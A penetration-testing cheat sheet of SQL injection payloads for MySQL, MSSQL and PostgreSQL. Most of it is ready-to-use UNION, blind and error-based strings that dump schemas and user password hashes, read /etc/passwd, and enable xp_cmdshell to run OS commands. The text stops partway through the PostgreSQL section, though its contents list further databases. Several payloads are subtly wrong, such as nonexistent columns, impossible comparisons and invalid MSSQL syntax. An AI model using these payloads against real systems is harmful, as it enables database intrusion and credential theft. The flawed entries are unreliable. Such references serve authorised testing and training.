Domain 2Web App AttacksCORE

Extracting Database Schema Information

Complete reference for extracting database schema information across MySQL, MSSQL, PostgreSQL, Oracle, and SQLite including version detection, user enumeration, table discovery, and column mapping.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#Schema Extraction#Information Schema#MySQL#MSSQL#PostgreSQL#Oracle

Extracting Database Schema Information

Table of Contents

  1. MySQL Schema Extraction
  2. MSSQL Schema Extraction
  3. PostgreSQL Schema Extraction
  4. Oracle Schema Extraction
  5. SQLite Schema Extraction
  6. Cross-Database Comparison Table
  7. Schema Extraction via Different SQLi Types

1. MySQL Schema Extraction

1.1 Version and User Information

Purpose Query
Database version SELECT version();
Current user SELECT user();
Current user (alt) SELECT current_user();
Current user (alt2) SELECT system_user();
Session user SELECT session_user();
Show grants for current user SHOW GRANTS;
Show grants for specific user SHOW GRANTS FOR 'root'@'localhost';
Database name SELECT database();
Data directory SELECT @@datadir;
Secure file priv SELECT @@secure_file_priv;
General log file SELECT @@general_log_file;
General log enabled SELECT @@general_log;

UNION-based variants

-- Version
' UNION SELECT version()-- -
' UNION SELECT version(),2,3-- -

-- Current user
' UNION SELECT user()-- -
' UNION SELECT user(),version(),database()-- -

-- Current user (current_user)
' UNION SELECT current_user()-- -

-- Database name
' UNION SELECT database()-- -

-- Show grants (requires stacked queries or error-based)
'; SHOW GRANTS-- -

Boolean-based blind variants

-- Version starts with '5'
' AND SUBSTRING(version(),1,1)='5'-- -
' AND ASCII(SUBSTRING(version(),1,1))=53-- -

-- User starts with 'r'
' AND SUBSTRING(user(),1,1)='r'-- -
' AND ASCII(SUBSTRING(user(),1,1))=114-- -

-- Database name length
' AND LENGTH(database())>5-- -

-- Character-by-character extraction of user()
' AND SUBSTRING(user(),1,1)='r'-- -
' AND SUBSTRING(user(),2,1)='o'-- -
' AND SUBSTRING(user(),3,1)='o'-- -
' AND SUBSTRING(user(),4,1)='t'-- -

-- Using MID() instead of SUBSTRING()
' AND MID(user(),1,1)='r'-- -

-- Using LEFT()
' AND LEFT(user(),4)='root'-- -

-- Using RIGHT()
' AND RIGHT(user(),9)='localhost'-- -

Time-based blind variants

-- Version detection
' AND IF(SUBSTRING(version(),1,1)='5', SLEEP(5), 0)-- -
' AND IF(ASCII(SUBSTRING(version(),1,1))=53, SLEEP(5), 0)-- -

-- User detection
' AND IF(SUBSTRING(user(),1,1)='r', SLEEP(5), 0)-- -

-- Database name detection
' AND IF(SUBSTRING(database(),1,1)='t', SLEEP(5), 0)-- -

-- Using CASE WHEN
' AND (SELECT CASE WHEN SUBSTRING(version(),1,1)='5' THEN SLEEP(5) ELSE 0 END)-- -

Error-based variants

-- Extract version via error
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

-- Extract user via error
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(user(), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

-- Extract database via error
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(database(), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

-- Updatexml error-based
' AND extractvalue(1, CONCAT(0x7e, version()))-- -
' AND extractvalue(1, CONCAT(0x7e, user()))-- -

-- Extractvalue with substring (for long values)
' AND extractvalue(1, CONCAT(0x7e, MID(version(),1,32)))-- -

-- Updatexml error-based
' AND updatexml(1, CONCAT(0x7e, version()), 1)-- -

-- GeometryCollection error-based
' AND GeometryCollection((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -

-- Multipoint error-based
' AND Multipoint((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -

-- Polygon error-based
' AND Polygon((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -

-- MultiPolygon error-based
' AND MultiPolygon((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -

-- LineString error-based
' AND LineString((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -

-- MultiLineString error-based
' AND MultiLineString((SELECT * FROM (SELECT * FROM (SELECT version())a)b))-- -

-- Floor error-based (duplicate key)
' AND (SELECT COUNT(*) FROM information_schema.tables GROUP BY CONCAT(version(), FLOOR(RAND(0)*2)))-- -

1.2 FILE Privilege Check

-- Check if FILE privilege exists
' UNION SELECT 1,2,3 HAVING 1=1-- -
' AND (SELECT 1 FROM (SELECT COUNT(*) FROM mysql.user GROUP BY CONCAT(version(), FLOOR(RAND(0)*2)))a)-- -

-- Check FILE privilege via error message
' AND (SELECT 1 FROM mysql.user WHERE FILE_priv='Y')-- -

-- Alternative: try to read a file
' AND (SELECT LOAD_FILE('/etc/passwd'))-- -

-- Check secure_file_priv (if empty or '', FILE privilege is usable for read/write)
' UNION SELECT @@secure_file_priv-- -

1.3 Enumerating Databases (Schemata)

information_schema.schemata

-- All database names (UNION-based)
' UNION SELECT schema_name FROM information_schema.schemata-- -
' UNION SELECT 1, schema_name, 3 FROM information_schema.schemata-- -

-- Count databases
' UNION SELECT COUNT(schema_name) FROM information_schema.schemata-- -

-- Filter out system databases
' UNION SELECT schema_name FROM information_schema.schemata WHERE schema_name NOT IN ('information_schema','mysql','performance_schema','sys')-- -

-- First database name
' UNION SELECT SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 0,1-- -
' UNION SELECT SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 1,1-- -
' UNION SELECT SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 2,1-- -

Boolean-based blind variants

-- Check if database exists
' AND (SELECT 1 FROM information_schema.schemata WHERE schema_name='test')-- -

-- Database name length
' AND (SELECT LENGTH(schema_name) FROM information_schema.schemata LIMIT 0,1)>5-- -

-- Character-by-character extraction
' AND SUBSTRING((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1)='t'-- -
' AND SUBSTRING((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),2,1)='e'-- -

-- Using ASCII for binary-safe extraction
' AND ASCII(SUBSTRING((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1))=116-- -

-- Check number of databases
' AND (SELECT COUNT(schema_name) FROM information_schema.schemata)>5-- -

Time-based blind variants

-- Database name extraction
' AND IF(SUBSTRING((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1)='t', SLEEP(5), 0)-- -

-- Database count
' AND IF((SELECT COUNT(schema_name) FROM information_schema.schemata)>5, SLEEP(5), 0)-- -

1.4 Enumerating Tables

information_schema.tables

-- All tables in current database (UNION-based)
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database()-- -

-- All tables in specific database
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema='test'-- -
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=0x74657374-- -

-- All tables across all databases
' UNION SELECT table_schema, table_name FROM information_schema.tables-- -

-- Table count in current database
' UNION SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=database()-- -

-- Tables with specific name pattern
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() AND table_name LIKE '%user%'-- -
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() AND table_name LIKE '%admin%'-- -
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() AND table_name LIKE '%login%'-- -

-- Table with row count
' UNION SELECT table_name, table_rows FROM information_schema.tables WHERE table_schema=database()-- -

-- Table creation SQL
' UNION SELECT table_name, create_table FROM information_schema.tables WHERE table_schema=database()-- -

-- Paginated table enumeration
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1-- -
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1-- -
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 2,1-- -

Boolean-based blind variants

-- Check if table exists
' AND (SELECT 1 FROM information_schema.tables WHERE table_schema=database() AND table_name='users')-- -

-- Table name length
' AND (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)>5-- -

-- Character-by-character extraction
' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='u'-- -

-- Using ASCII
' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))=117-- -

-- Table count
' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=database())>5-- -

-- Check if table name contains specific string
' AND (SELECT 1 FROM information_schema.tables WHERE table_schema=database() AND table_name LIKE '%user%')-- -

Time-based blind variants

-- Table name extraction
' AND IF(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='u', SLEEP(5), 0)-- -

-- Table count
' AND IF((SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=database())>5, SLEEP(5), 0)-- -

1.5 Enumerating Columns

information_schema.columns

-- All columns for a specific table (UNION-based)
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' AND table_schema=database()-- -
' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='users' AND table_schema=database()-- -

-- Column name and data type
' UNION SELECT column_name, data_type FROM information_schema.columns WHERE table_name='users' AND table_schema=database()-- -

-- Column name, data type, and character max length
' UNION SELECT column_name, data_type, character_maximum_length FROM information_schema.columns WHERE table_name='users' AND table_schema=database()-- -

-- All columns with table name
' UNION SELECT table_name, column_name, data_type FROM information_schema.columns WHERE table_schema=database()-- -

-- Check for specific column
' UNION SELECT 1 FROM information_schema.columns WHERE table_name='users' AND column_name='password'-- -

-- Column count for a table
' UNION SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='users' AND table_schema=database()-- -

-- Columns with specific data type
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' AND data_type='varchar'-- -

-- Paginated column enumeration
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' AND table_schema=database() LIMIT 0,1-- -
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' AND table_schema=database() LIMIT 1,1-- -

Boolean-based blind variants

-- Check if column exists
' AND (SELECT 1 FROM information_schema.columns WHERE table_name='users' AND column_name='password')-- -

-- Column name length
' AND (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)>5-- -

-- Character-by-character extraction
' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1)='i'-- -

-- Using ASCII
' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1))=105-- -

-- Column count
' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='users')>5-- -

Time-based blind variants

-- Column name extraction
' AND IF(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1)='i', SLEEP(5), 0)-- -

-- Column count
' AND IF((SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='users')>5, SLEEP(5), 0)-- -

1.6 MySQL User Enumeration

mysql.user table

-- All users and hashes (UNION-based)
' UNION SELECT user, password FROM mysql.user-- -
' UNION SELECT user, authentication_string FROM mysql.user-- -

-- Users with FILE privilege
' UNION SELECT user, file_priv FROM mysql.user-- -

-- Users with SUPER privilege
' UNION SELECT user, super_priv FROM mysql.user-- -

-- Users with root privileges
' UNION SELECT user FROM mysql.user WHERE super_priv='Y'-- -

-- Users with GRANT privilege
' UNION SELECT user, grant_priv FROM mysql.user-- -

-- Users with CREATE privilege
' UNION SELECT user, create_priv FROM mysql.user-- -

-- Users with DROP privilege
' UNION SELECT user, drop_priv FROM mysql.user-- -

-- Users with PROCESS privilege
' UNION SELECT user, process_priv FROM mysql.user-- -

-- Users with SHUTDOWN privilege
' UNION SELECT user, shutdown_priv FROM mysql.user-- -

-- Users with SLAVE privilege
' UNION SELECT user, slave_priv FROM mysql.user-- -

-- Users with RELOAD privilege
' UNION SELECT user, reload_priv FROM mysql.user-- -

-- Users with LOCK_TABLES privilege
' UNION SELECT user, lock_priv FROM mysql.user-- -

-- Users with EXECUTE privilege
' UNION SELECT user, execute_priv FROM mysql.user-- -

-- Users with all privileges
' UNION SELECT user FROM mysql.user WHERE select_priv='Y' AND insert_priv='Y' AND update_priv='Y' AND delete_priv='Y' AND create_priv='Y' AND drop_priv='Y' AND reload_priv='Y' AND shutdown_priv='Y' AND process_priv='Y' AND file_priv='Y' AND grant_priv='Y' AND references_priv='Y' AND index_priv='Y' AND alter_priv='Y' AND show_db_priv='Y' AND super_priv='Y' AND create_tmp_table_priv='Y' AND lock_priv='Y' AND execute_priv='Y' AND repl_slave_priv='Y' AND repl_client_priv='Y' AND event_priv='Y' AND trigger_priv='Y'-- -

Boolean-based blind variants

-- Check if user exists
' AND (SELECT 1 FROM mysql.user WHERE user='root')-- -

-- Check if user has FILE privilege
' AND (SELECT 1 FROM mysql.user WHERE user='root' AND file_priv='Y')-- -

-- Check if user has SUPER privilege
' AND (SELECT 1 FROM mysql.user WHERE user='root' AND super_priv='Y')-- -

-- User count
' AND (SELECT COUNT(user) FROM mysql.user)>5-- -

1.7 Complete UNION-based Schema Extraction Chain

-- Step 1: Determine number of columns
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' ORDER BY 4-- -
' ORDER BY 5-- -

-- Step 2: Find which columns are displayed
' UNION SELECT 1,2,3-- -

-- Step 3: Extract version, user, database
' UNION SELECT version(), user(), database()-- -

-- Step 4: Extract database names
' UNION SELECT schema_name,2,3 FROM information_schema.schemata-- -

-- Step 5: Extract table names
' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema='test'-- -

-- Step 6: Extract column names
' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users' AND table_schema=database()-- -

-- Step 7: Extract data
' UNION SELECT username, password, 3 FROM users-- -

1.8 MySQL Quick Reference Cheat Sheet

┌─────────────────────────────────────────────────────────────────┐
│                    MySQL Schema Extraction                       │
├─────────────────────────────────────────────────────────────────┤
│ Version:     SELECT version();                                   │
│ User:        SELECT user();                                      │
│ Database:    SELECT database();                                  │
│ Grants:      SHOW GRANTS;                                        │
│ Databases:   SELECT schema_name FROM information_schema.schemata;│
│ Tables:      SELECT table_name FROM information_schema.tables    │
│              WHERE table_schema=database();                      │
│ Columns:     SELECT column_name FROM information_schema.columns  │
│              WHERE table_name='users';                           │
│ Users:       SELECT user, password FROM mysql.user;              │
│ FILE Priv:   SELECT @@secure_file_priv;                          │
└─────────────────────────────────────────────────────────────────┘

2. MSSQL Schema Extraction

2.1 Version and User Information

Purpose Query
SQL Server version SELECT @@version;
Server version number SELECT SERVERPROPERTY('ProductVersion');
Server level SELECT SERVERPROPERTY('ProductLevel');
Server edition SELECT SERVERPROPERTY('Edition');
Current login SELECT SYSTEM_USER;
Current user SELECT USER_NAME();
Current user (alt) SELECT USER;
Current database SELECT DB_NAME();
Is sysadmin? SELECT IS_SRVROLEMEMBER('sysadmin');
Is db_owner? SELECT IS_MEMBER('db_owner');
Is public? SELECT IS_MEMBER('public');

UNION-based variants

-- Version
' UNION SELECT @@version-- -
' UNION SELECT 1, @@version-- -

-- Current user
' UNION SELECT SYSTEM_USER-- -
' UNION SELECT USER_NAME()-- -
' UNION SELECT USER-- -

-- Current database
' UNION SELECT DB_NAME()-- -

-- Is sysadmin
' UNION SELECT IS_SRVROLEMEMBER('sysadmin')-- -

-- Version, user, database all at once
' UNION SELECT @@version, SYSTEM_USER, DB_NAME()-- -

-- Server property
' UNION SELECT SERVERPROPERTY('ProductVersion')-- -

Stacked query variants

-- Execute multiple statements
'; SELECT @@version-- -
'; SELECT SYSTEM_USER-- -
'; SELECT DB_NAME()-- -

-- xp_cmdshell (if enabled)
'; EXEC xp_cmdshell 'whoami'-- -
'; EXEC master..xp_cmdshell 'whoami'-- -

-- Enable xp_cmdshell
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE-- -

-- Check if xp_cmdshell exists
'; SELECT count(*) FROM master..sysobjects WHERE name = 'xp_cmdshell'-- -

Boolean-based blind variants

-- Version starts with '1'
' AND SUBSTRING(@@version,1,1)='1'-- -
' AND ASCII(SUBSTRING(@@version,1,1))=49-- -

-- User starts with 'd'
' AND SUBSTRING(SYSTEM_USER,1,1)='d'-- -

-- Is sysadmin (returns 1 for true)
' AND IS_SRVROLEMEMBER('sysadmin')=1-- -

-- Database name length
' AND LEN(DB_NAME())>5-- -

-- Character-by-character extraction
' AND SUBSTRING(DB_NAME(),1,1)='t'-- -
' AND SUBSTRING(DB_NAME(),2,1)='e'-- -

Time-based blind variants

-- Version detection
'; WAITFOR DELAY '0:0:5'-- -
' IF(SUBSTRING(@@version,1,1)='10', WAITFOR DELAY '0:0:5', WAITFOR DELAY '0:0:0')-- -

-- User detection
' IF(SUBSTRING(SYSTEM_USER,1,1)='d', WAITFOR DELAY '0:0:5', WAITFOR DELAY '0:0:0')-- -

-- Database detection
' IF(SUBSTRING(DB_NAME(),1,1)='t', WAITFOR DELAY '0:0:5', WAITFOR DELAY '0:0:0')-- -

2.2 Enumerating Databases

sys.databases and master..sysdatabases

-- All databases (UNION-based)
' UNION SELECT name FROM sys.databases-- -
' UNION SELECT 1, name FROM sys.databases-- -

-- All databases (legacy)
' UNION SELECT name FROM master..sysdatabases-- -
' UNION SELECT 1, name FROM master..sysdatabases-- -

-- Database count
' UNION SELECT COUNT(name) FROM sys.databases-- -

-- Filter system databases
' UNION SELECT name FROM sys.databases WHERE name NOT IN ('master','tempdb','model','msdb')-- -

-- Paginated database enumeration
' UNION SELECT name FROM sys.databases ORDER BY name-- -

Boolean-based blind variants

-- Check if database exists
' AND (SELECT 1 FROM sys.databases WHERE name='test')-- -

-- Database name length
' AND (SELECT LEN(name) FROM sys.databases ORDER BY name OFFSET 0 ROWS FETCH FIRST 1 ROWS ONLY)>5-- -

-- Character-by-character extraction
' AND SUBSTRING((SELECT TOP 1 name FROM sys.databases),1,1)='m'-- -

-- Using ASCII
' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM sys.databases),1,1))=109-- -

-- Database count
' AND (SELECT COUNT(name) FROM sys.databases)>5-- -

Time-based blind variants

-- Database name extraction
'; IF(SUBSTRING((SELECT TOP 1 name FROM sys.databases),1,1)='m' WAITFOR DELAY '0:0:5'-- -

-- Database count
'; IF((SELECT COUNT(name) FROM sys.databases)>5 WAITFOR DELAY '0:0:5'-- -

2.3 Enumerating Tables

sysobjects and sys.tables

-- All tables (UNION-based)
' UNION SELECT name FROM sysobjects WHERE xtype='U'-- -
' UNION SELECT 1, name FROM sysobjects WHERE xtype='U'-- -

-- All tables (sys.tables)
' UNION SELECT name FROM sys.tables-- -
' UNION SELECT 1, name FROM sys.tables-- -

-- All tables with schema
' UNION SELECT SCHEMA_NAME(schema_id), name FROM sys.tables-- -

-- Tables in specific database
'; USE test; SELECT name FROM sysobjects WHERE xtype='U'-- -

-- Table count
' UNION SELECT COUNT(name) FROM sysobjects WHERE xtype='U'-- -

-- Tables with specific name pattern
' UNION SELECT name FROM sysobjects WHERE xtype='U' AND name LIKE '%user%'-- -
' UNION SELECT name FROM sysobjects WHERE xtype='U' AND name LIKE '%admin%'-- -

-- xtype values reference:
-- U = User table
-- V = View
-- P = Stored procedure
-- TR = Trigger
-- FN = Scalar function
-- TF = Table-valued function
-- IF = Inline table-valued function
-- PK = Primary key constraint
-- FK = Foreign key constraint

Boolean-based blind variants

-- Check if table exists
' AND (SELECT 1 FROM sysobjects WHERE name='users' AND xtype='U')-- -

-- Table name length
' AND (SELECT LEN(name) FROM sysobjects WHERE xtype='U' ORDER BY name OFFSET 0 ROWS FETCH FIRST 1 ROWS ONLY)>5-- -

-- Character-by-character extraction
' AND SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,1)='u'-- -

-- Using ASCII
' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,1))=117-- -

-- Table count
' AND (SELECT COUNT(name) FROM sysobjects WHERE xtype='U')>5-- -

2.4 Enumerating Columns

information_schema.columns

-- All columns for a specific table (UNION-based)
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users'-- -

-- Column name and data type
' UNION SELECT column_name, data_type FROM information_schema.columns WHERE table_name='users'-- -

-- Column name, data type, and character max length
' UNION SELECT column_name, data_type, character_maximum_length FROM information_schema.columns WHERE table_name='users'-- -

-- All columns with table name
' UNION SELECT table_name, column_name, data_type FROM information_schema.columns-- -

-- Columns in specific schema
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' AND table_schema='dbo'-- -

-- Column count for a table
' UNION SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='users'-- -

-- Columns with specific data type
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' AND data_type='nvarchar'-- -

sys.columns (alternative)

-- Using sys.columns and sys.tables
' UNION SELECT c.name FROM sys.columns c INNER JOIN sys.tables t ON c.object_id = t.object_id WHERE t.name='users'-- -

-- Column name and type
' UNION SELECT c.name, ty.name FROM sys.columns c INNER JOIN sys.tables t ON c.object_id = t.object_id INNER JOIN sys.types ty ON c.user_type_id = ty.user_type_id WHERE t.name='users'-- -

Boolean-based blind variants

-- Check if column exists
' AND (SELECT 1 FROM information_schema.columns WHERE table_name='users' AND column_name='password')-- -

-- Column name length
' AND (SELECT LEN(column_name) FROM information_schema.columns WHERE table_name='users' ORDER BY column_name OFFSET 0 ROWS FETCH FIRST 1 ROWS ONLY)>5-- -

-- Character-by-character extraction
' AND SUBSTRING((SELECT TOP 1 column_name FROM information_schema.columns WHERE table_name='users'),1,1)='i'-- -

-- Using ASCII
' AND ASCII(SUBSTRING((SELECT TOP 1 column_name FROM information_schema.columns WHERE table_name='users'),1,1))=105-- -

-- Column count
' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='users')>5-- -

2.5 MSSQL User Enumeration

master..syslogins

-- All logins (UNION-based)
' UNION SELECT name FROM master..syslogins-- -
' UNION SELECT 1, name FROM master..syslogins-- -

-- Login names and passwords (older SQL Server)
' UNION SELECT name, password FROM master..syslogins-- -

-- Login names and password hashes
' UNION SELECT name, password_hash FROM sys.sql_logins-- -

-- Sysadmin members
' UNION SELECT name FROM master..syslogins WHERE sysadmin=1-- -

-- Login count
' UNION SELECT COUNT(name) FROM master..syslogins-- -

-- Check specific login
' UNION SELECT 1 FROM master..syslogins WHERE name='sa'-- -

Boolean-based blind variants

-- Check if login exists
' AND (SELECT 1 FROM master..syslogins WHERE name='sa')-- -

-- Check if user is sysadmin
' AND (SELECT 1 FROM master..syslogins WHERE name='sa' AND sysadmin=1)-- -

-- Login count
' AND (SELECT COUNT(name) FROM master..syslogins)>5-- -

2.6 MSSQL Stacked Query Examples

-- Multiple statements in one query
'; DECLARE @tmp VARCHAR(8000); SET @tmp=':'; SELECT @tmp=@tmp+' '+name FROM sys.databases WHERE name>(SELECT MAX(name) FROM sys.databases WHERE name<@tmp); SELECT @tmp AS dummy INTO foo-- -

-- Dynamic SQL execution
'; EXEC('SELECT name FROM sys.databases')-- -

-- xp_cmdshell for OS commands
'; EXEC xp_cmdshell 'net user'-- -
'; EXEC xp_cmdshell 'ipconfig /all'-- -
'; EXEC xp_cmdshell 'whoami'-- -

-- Enable xp_cmdshell
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami'-- -

-- OpenRowset for data exfiltration
'; SELECT * FROM OPENROWSET(''Microsoft.ACE.OLEDB.12.0'',''Excel 12.0;Database=C:\temp\test.xlsx;HDR=YES'', 'SELECT * FROM [Sheet1$]')-- -

2.7 MSSQL Quick Reference Cheat Sheet

┌─────────────────────────────────────────────────────────────────┐
│                   MSSQL Schema Extraction                        │
├─────────────────────────────────────────────────────────────────┤
│ Version:     SELECT @@version;                                   │
│ User:        SELECT SYSTEM_USER;                                 │
│ User (alt):  SELECT USER_NAME();                                 │
│ Database:    SELECT DB_NAME();                                   │
│ Is Sysadmin: SELECT IS_SRVROLEMEMBER('sysadmin');                │
│ Databases:   SELECT name FROM sys.databases;                     │
│ Tables:      SELECT name FROM sysobjects WHERE xtype='U';        │
│ Columns:     SELECT column_name FROM information_schema.columns  │
│              WHERE table_name='users';                           │
│ Logins:      SELECT name FROM master..syslogins;                 │
│ OS Cmd:      EXEC xp_cmdshell 'whoami';                          │
└─────────────────────────────────────────────────────────────────┘

3. PostgreSQL Schema Extraction

3.1 Version and User Information

Purpose Query
PostgreSQL version SELECT version();
Current user SELECT current_user;
Session user SELECT session_user;
Current database SELECT current_database();
In role (superuser check) SELECT usesuper FROM pg_user WHERE usename = current_user;
All roles SELECT rolname, rolsuper FROM pg_roles;

UNION-based variants

-- Version
' UNION SELECT version()-- -
' UNION SELECT 1, version()-- -

-- Current user
' UNION SELECT current_user-- -
' UNION SELECT 1, current_user-- -

-- Session user
' UNION SELECT session_user-- -

-- Current database
' UNION SELECT current_database()-- -

-- Version, user, database
' UNION SELECT version(), current_user, current_database()-- -

-- Superuser check
' UNION SELECT usesuper FROM pg_user WHERE usename = current_user-- -

Boolean-based blind variants

-- Version starts with 'Po'
' AND SUBSTRING(version(),1,2)='Po'-- -
' AND ASCII(SUBSTRING(version(),1,1))=80-- -

-- User starts with 'p'
' AND SUBSTRING(current_user,1,1)='p'-- -

-- Database name length
' AND LENGTH(current_database())>5-- -

-- Character-by-character extraction
' AND SUBSTRING(current_database(),1,1)='t'-- -
' AND SUBSTRING(current_database(),2,1)='e'-- -

-- Is superuser
' AND (SELECT usesuper FROM pg_user WHERE usename = current_user)=true-- -

Time-based blind variants

-- Version detection
' AND (SELECT CASE WHEN SUBSTRING(version(),1,2)='Po' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -

-- User detection
' AND (SELECT CASE WHEN SUBSTRING(current_user,1,1)='p' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -

-- Database detection
' AND (SELECT CASE WHEN SUBSTRING(current_database(),1,1)='t' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -

-- Using IF
' AND (SELECT pg_sleep(5) WHERE SUBSTRING(version(),1,2)='Po')-- -

3.2 Enumerating Databases

pg_database

-- All databases (UNION-based)
' UNION SELECT datname FROM pg_database-- -
' UNION SELECT 1, datname FROM pg_database-- -

-- Filter system databases
' UNION SELECT datname FROM pg_database WHERE datistemplate = false-- -

-- Database count
' UNION SELECT COUNT(datname) FROM pg_database-- -

-- Database with owner
' UNION SELECT datname, pg_catalog.pg_get_userbyid(datdba) FROM pg_database-- -

Boolean-based blind variants

-- Check if database exists
' AND (SELECT 1 FROM pg_database WHERE datname='test')-- -

-- Database name length
' AND (SELECT LENGTH(datname) FROM pg_database LIMIT 1)>5-- -

-- Character-by-character extraction
' AND SUBSTRING((SELECT datname FROM pg_database LIMIT 1),1,1)='p'-- -

-- Using ASCII
' AND ASCII(SUBSTRING((SELECT datname FROM pg_database LIMIT 1),1,1))=112-- -

-- Database count
' AND (SELECT COUNT(datname) FROM pg_database)>5-- -

Time-based blind variants

-- Database name extraction
' AND (SELECT CASE WHEN SUBSTRING((SELECT datname FROM pg_database LIMIT 1),1,1)='p' THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -

-- Database count
' AND (SELECT CASE WHEN (SELECT COUNT(datname) FROM pg_database)>5 THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -

3.3 Enumerating Tables

pg_tables

-- All tables (UNION-based)
' UNION SELECT tablename FROM pg_tables-- -
' UNION SELECT 1, tablename FROM pg_tables-- -

-- Tables in specific schema
' UNION SELECT tablename FROM pg_tables WHERE schemaname='public'-- -

-- Tables with schema name
' UNION SELECT schemaname, tablename FROM pg_tables-- -

-- Filter system schemas
' UNION SELECT tablename FROM pg_tables WHERE schemaname NOT IN ('pg_catalog','information_schema')-- -

-- Table count
' UNION SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='public'-- -

-- Tables with specific name pattern
' UNION SELECT tablename FROM pg_tables WHERE tablename LIKE '%user%'-- -
' UNION SELECT tablename FROM pg_tables WHERE tablename LIKE '%admin%'-- -

information_schema.tables

-- All tables (UNION-based)
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema='public'-- -
' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema='public'-- -

-- All tables across schemas
' UNION SELECT table_schema, table_name FROM information_schema.tables-- -

-- Table count
' UNION SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='public'-- -

Boolean-based blind variants

-- Check if table exists
' AND (SELECT 1 FROM pg_tables WHERE tablename='users')-- -

-- Table name length
' AND (SELECT LENGTH(tablename) FROM pg_tables LIMIT 1)>5-- -

-- Character-by-character extraction
' AND SUBSTRING((SELECT tablename FROM pg_tables LIMIT 1),1,1)='u'-- -

-- Using ASCII
' AND ASCII(SUBSTRING((SELECT tablename FROM pg_tables LIMIT 1),1,1))=117-- -

-- Table count
' AND (SELECT COUNT(tablename) FROM pg_tables)>5-- -

3.4 Enumerating Columns

information_schema.columns

-- All columns for a specific table (UNION-based)
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name='users'-- -

-- Column name and data type
' UNION SELECT column_name, data_type FROM information_schema.columns WHERE table_name='users'-- -

-- Column name, data type, and character max length
' UNION SELECT column_name, data_type, character_maximum_length FROM information_schema.columns WHERE table_name='users'-- -

-- All columns with table name
